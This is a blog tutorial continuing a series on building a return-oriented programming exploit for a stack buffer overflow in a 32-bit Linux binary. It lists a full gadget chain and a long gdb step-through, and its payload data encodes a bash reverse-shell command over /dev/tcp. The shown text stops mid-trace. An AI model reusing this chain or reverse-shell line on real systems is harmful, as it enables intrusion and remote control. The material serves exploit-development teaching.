Improving The ROP Exploit

Posted on Wed 14 January 2015 in x86-32 Linux

So after the last post I kept thinking of ways that I could improve the exploit so I decided to do it.

If you haven't already read the last post on developing a ROP exploit, you should read that before this because I will not cover anything that I covered there and it is just a continuation of that. You can read it here.

As with any exploit development the main point of interest for improvement is reducing the size of the payload so this is where I will focus.

You can think about obfuscation and such in certain exploitations but when ROP is required obfuscation isn't really an option.

Why/How ROP Works

In the last post I didn't really go into much detail about why or how ROP actually works because the post was already pretty long but I thought I'd go into it a bit here.

In my post titled Basic Binary Auditing, in the section called Stack Frames I explain how function calls and returns work.

The important part of that in terms of ROP is how the function returns. A stack-based buffer overflow exploit is initiated when the vulnerable function returns.

This is because the return address that is stored on the stack is pop'ed off of the stack into eip (the instruction pointer).

This happens because when a function is returning it has no way of knowing where in the application code to continue executing.

Because of this the address that execution should return to after the function is finished is pushed onto the stack when the function is called so that it can be retrieved when its finished.

If you find a stack-based buffer overflow and you are able to send enough data to overwrite this address you can change the flow of execution and point eip wherever you want.

With ROP, understanding this concept is paramount to success. What you are doing is creating your own stack (the same as with return to libc).

The only difference between ROP and return to libc is that instead of "calling" actual library functions you are "calling" snipets of code that resemble the end of a function (a few instructions and then a return), which are called gadgets.

By inserting a bunch of gadgets 1 after another on the stack (chaining) you are controlling the execution flow of the application and with enough gadgets you can build a suitibly large application to do whatever you want.

If you understand this it becomes obvious that esp (the stack pointer) has now become your new eip.

By changing the value of esp you can actually create a new stack elsewhere, this becomes useful for various reasons, eg. if you are constraint for space on the stack (as with in kernel mode) you can allocate space on the heap insert your stack there and change esp to point to your new stack.

I will use this method in this exploit for making ROP function calls and explain how you can use this to make ROP conditional statements.

Moving The Data Section

Back to our exploit.

If you remember we put the data section of our payload at the end but we have 532 A's that we are sending in order to overflow the buffer.

The best way to reduce the size of our exploit to to make as much use of this section at the start as possible.

So we will now move the data section to the start.

I mentioned in the last post that using ////bin/bash instead of /bin/bash wasn't technically needed and was a bit of a waste of space but as we are moving this section to the padding section, which always has to be a fixed 532 bytes, we can leave it as is for now.

If we actually use the whole 532 bytes of this section I will make some changes here to reduce its size but as it is it makes calculations slightly easier.

A ROP Function

IMO, the most exciting part of this new exploit will be the implementation of a "function call".

In the last exploit we were using the same series of gadgets throughout the exploit to calculate addresses.

In a normal application we'd use a function for this, so I thought why shouldn't we here, looking through the avaliable gadgets I created this to do our address calculations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

Here the "return address" (the value on the stack that we need to put back into esp at the end) starts off in the eax register.

The function takes 2 "arguments", ecx, which should contain the starting address of the function, and ebx, which should contain the value 0xaaaaaaaa - [distance from the start of the function to the value we want the address of].

As the values we need to calculate are in the data section we want to stick this function below the data section (it could go before but we've have to change the last sub instruction to an add instruction).

The return value of this function is stored in edi when this function is finished.

Based on the gadgets we have avaliable there are 2 different ways, that I have found, we can set up the "call" for this function, the first is this:

1
2
3
0x0808385d : mov eax, ecx ; pop ebx ; pop ebp ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0xeeeeeeee : junk values to pop

And the second:

1
2
3
0x080a66af : xor eax, eax ; pop ebx ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0x0807629e : add eax, ecx ; ret

Both of these achieve the same outcome and certainly for our purpose there isn't any difference between the 2.

After 1 of these series of instructions we have the address of the function in eax, so we can call the function with the following gadget:

1
0x0807b086 : xchg eax, esp ; ret

This will put the return address into eax and begin execution at the start of our function.

Once our function returns the return value will be in edi, in our old exploit this value was always put into eax or edx.

We can get this value into eax using this gadget:

1
0x080a3f72 : xchg eax, edi ; ret

And if we want the return value into edx we can use this gadget:

1
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

With this gadget we can put a value straight into ebx setting up ebx for the next function call.

All addresses will now be calculated relative to ecx which should contain the address of the start of the function, therefore this should now be the first problem we approach and the final address of ecx should be set after we've finished with the function.

Testing The Exploit

We want to try to minimize the number of junk values as much as possible too so this should be kept in mind while putting the gadgets together.

At this point you should have notes similar to the following:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0xaaaaaa66 : 0xaaaaaaaa - distance to -c 0xffffffff (68)
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------- calculate address of long arg 0xffffffff
---------------------------- and write nulls there

Here I'm using the function to calculate the address of the first set of 0xffffffff (to terminate the long argument string) and writing nulls there.

The actual exploit is a very simple python script, as you should know from the first post, so I will only post the full script at the end when we have developed the final exploit.

You can break at the ret of the checkpass function and step through each instruction, here I will break at the function call and ensure that is working as expected:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
appuser@dev:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $eax
(gdb) display/x $ebx
(gdb) display/x $ecx
(gdb) display/x $edx
(gdb) display/x $edi
(gdb) display/x $esp
(gdb) break *0x0807629e
Breakpoint 1 at 0x807629e
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x0
(gdb) x/10xw 0xbfffe580
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
(gdb) x/xw 0xbfffe580 - 4
0xbfffe57c: 0x00000000
(gdb) x/xw 0xbfffe580 - 8
0xbfffe578: 0xdddddddd
(gdb) x/xw 0xbfffe580 - 12
0xbfffe574: 0xcccccccc
(gdb) stepi
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
=> 0x807b087 <intel_check_word+391>:    ret    
0x0807b087 in intel_check_word ()
6: /x $esp = 0xbfffe580
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe7cc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe584: 0x080a8576  0xaaaaaaaa  0x080748fc  0xeeeeeeee
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e
=> 0x80a3f73 <____strtold_l_internal+2499>: ret    
0x080a3f73 in ____strtold_l_internal ()
6: /x $esp = 0xbfffe584
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe588: 0xaaaaaaaa  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc
=> 0x80a8576 <_Unwind_GetDataRelBase+6>:    pop    eax
0x080a8576 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe588
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe58c: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee
=> 0x80a8577 <_Unwind_GetDataRelBase+7>:    ret    
0x080a8577 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe58c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xaaaaaaaa
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe590
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x14
(gdb) stepi
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe594
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe598: 0x00000014  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x80535bf <malloc_info+239>: pop    ebx
0x080535bf in malloc_info ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141
=> 0x80535c0 <malloc_info+240>: pop    esi
0x080535c0 in malloc_info ()
6: /x $esp = 0xbfffe59c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141
=> 0x80535c1 <malloc_info+241>: pop    ebp
0x080535c1 in malloc_info ()
6: /x $esp = 0xbfffe5a0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141
=> 0x80535c2 <malloc_info+242>: ret    
0x080535c2 in malloc_info ()
6: /x $esp = 0xbfffe5a4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe5ac
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d0: 0x41414141  0x41414141
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe5b0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0xbfffe56c
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) x/xw 0xbfffe56c + 4
0xbfffe570: 0xbbbbbbbb
(gdb) stepi
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d4: 0x41414141  0x41414141
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe5b4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5d8: 0x41414141  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe5b8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f18 <__tens+2904>: xchg   edi,eax
0x080c0f18 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe56c
(gdb) stepi
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5dc: 0x41414141  0x41414141
=> 0x80c0f19 <__tens+2905>: xchg   esp,eax
0x080c0f19 in __tens ()
6: /x $esp = 0xbfffe5bc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe7cc
(gdb) stepi
0xbfffe7cc: 0x0809cd4b  0xaaaaaa66  0xeeeeeeee  0xeeeeeeee
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc
=> 0x80c0f1a <__tens+2906>: ret    
0x080c0f1a in __tens ()
6: /x $esp = 0xbfffe7cc
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe7d0: 0xaaaaaa66  0xeeeeeeee  0xeeeeeeee  0xeeeeeeee
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee
=> 0x809cd4d <____strtoull_l_internal+525>: pop    ebx
0x0809cd4d in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d0
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d4: 0xeeeeeeee  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee
=> 0x809cd4e <____strtoull_l_internal+526>: pop    esi
0x0809cd4e in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d4
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18
=> 0x809cd4f <____strtoull_l_internal+527>: pop    edi
0x0809cd4f in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7d8
5: /x $edi = 0xbfffe56c
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7dc: 0xeeeeeeee  0x08099c0f  0x08083f21  0x08099c00
0xbfffe7ec: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe7fc: 0x080c0f18  0x41414141
=> 0x809cd50 <____strtoull_l_internal+528>: pop    ebp
0x0809cd50 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7dc
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e0: 0x08099c0f  0x08083f21  0x08099c00  0x0807629e
0xbfffe7f0: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe800: 0x41414141  0x41414141
=> 0x809cd51 <____strtoull_l_internal+529>: ret    
0x0809cd51 in ____strtoull_l_internal ()
6: /x $esp = 0xbfffe7e0
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0xbfffe5bc
(gdb) stepi
0xbfffe7e4: 0x08083f21  0x08099c00  0x0807629e  0x080748fc
0xbfffe7f4: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe804: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe7e4
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) x/xw 0xbfffe56c
0xbfffe56c: 0xffffffff
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax
0x08083f21 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa66
1: /x $eax = 0x0
(gdb) stepi
0xbfffe7e8: 0x08099c00  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe7f8: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe808: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
6: /x $esp = 0xbfffe7e8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe56c
3: /x $ecx = 0xbfffe580
